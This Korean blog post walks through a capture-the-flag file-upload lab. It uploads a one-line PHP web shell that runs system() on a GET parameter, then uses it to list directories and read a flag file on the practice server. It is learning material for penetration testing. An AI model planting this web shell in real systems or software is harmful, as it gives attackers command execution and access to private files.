안녕하세요 전에 올린 글에 토대로 파일 업로드 공격 실습을 하겠습니다!
일단 로그인을 하고 게시판 같은 곳에 아무 파일을 올려보겠습니다.
우선적으로 저희는 다운로드 경로를 알아야지만 공격이 가능하거든요!
그리고 다운로드 경로 즉 저희가 올린 파일이 서버에서 어느 파일에 저장이 되었는지 알아내겠습니다.
다운로드 버튼에 우클릭 누르시고 링크 복사 해보겠습니다.
http://ctf.segfaulthub.com:8989/webshell_1/files/hello/123.txt.txt
이렇게 나오네요!
또는 버프 스위트로 intercept on 하시고 다운로드 눌러도 됩니다.
좋아요.. 이제 한 번 php문을 짜고 보내보겠습니다.
우선 저희는 모의해킹을 하는 거 잖아요? 그러니깐 시작부터 웹 쉘 코드는 안 짜겠습니다.
<?php
echo "Script Running!";
?>
그리고 글을 올려보겠습니다.
그다음에 URL에 저희가 찾은 파일 저장한 경로에 이 php가 있겠죠?
http://ctf.segfaulthub.com:8989/webshell_1/files/hello/test.php
이렇게 저희가 올린 php문이 나옵니다.
한 번 저희가 공격자라고 생각을 하고 웹 쉘을 올려보겠습니다.
한 줄로 공격한다고 해서 한 줄 웹 쉘이라고 불려요
<?php
echo system($_GET['cmd']);
?>
이렇게 GET으로 cmd에 명령을 받고 system으로 실행한 결과를 출력하는 겁니다.
서버가 직접하는 거니 막히는 게 없겠죠!
한 번 그 다운로드 경로로 들어가보겠습니다.
http://ctf.segfaulthub.com:8989/webshell_1/files/hello/attack.php
아무런 값을 보내지 않았으니 흰 배경만 보이실 거예요
한번 url에 cmd=ls 보내보겠습니다.
ls은 리눅스 명령어입니다. 현재 위치에 있는 파일들을 출력하는 겁니다.
이제 이렇게 명령어를 실행할 건데 저는 버프 스위트에 repeater을 이용하겠습니다. 좀 더 편하거든요
그리고 이제 ls+../ 해보겠습니다. 상위 폴더를 보는 거죠 +는 url에 띄어쓰기를 뜻해요
또 상위 폴더로 가보겠습니다.
ls+../../
important.data가 있네요 한 번 봐보겠습니다.
ls+../../important_data
여기에 저희 실습페이지의 답이 있네요
cat+../../important_data/flag.txt 하면 답이 보입니다.
이게 완전 기본적인 파일 업로드 공격입니다. 이 한 줄 웹 쉘 말고 다른 공격용 쉘 코드 삽입해도 됩니다.
근데 모의해킹을 하는 거지 진짜로 해킹을 하는 게 아닌 이상 쓰일 일은 없을 것 같네요.
실습 문제는 2번까지 있습니다. 2번은 다음 글에 작성을 하겠습니다.
감사합니다
'보안지식 > File Upload' 카테고리의 다른 글
file download 취약점 (0) | 2023.06.15 |
---|---|
file upload 공격 - 시나리오 (0) | 2023.06.05 |
file upload 공격 - 실습 페이지 만들기 (0) | 2023.06.04 |
File Upload - 실습 2번 풀이 (0) | 2023.06.03 |
파일 업로드 취약점(File upload) (0) | 2023.06.01 |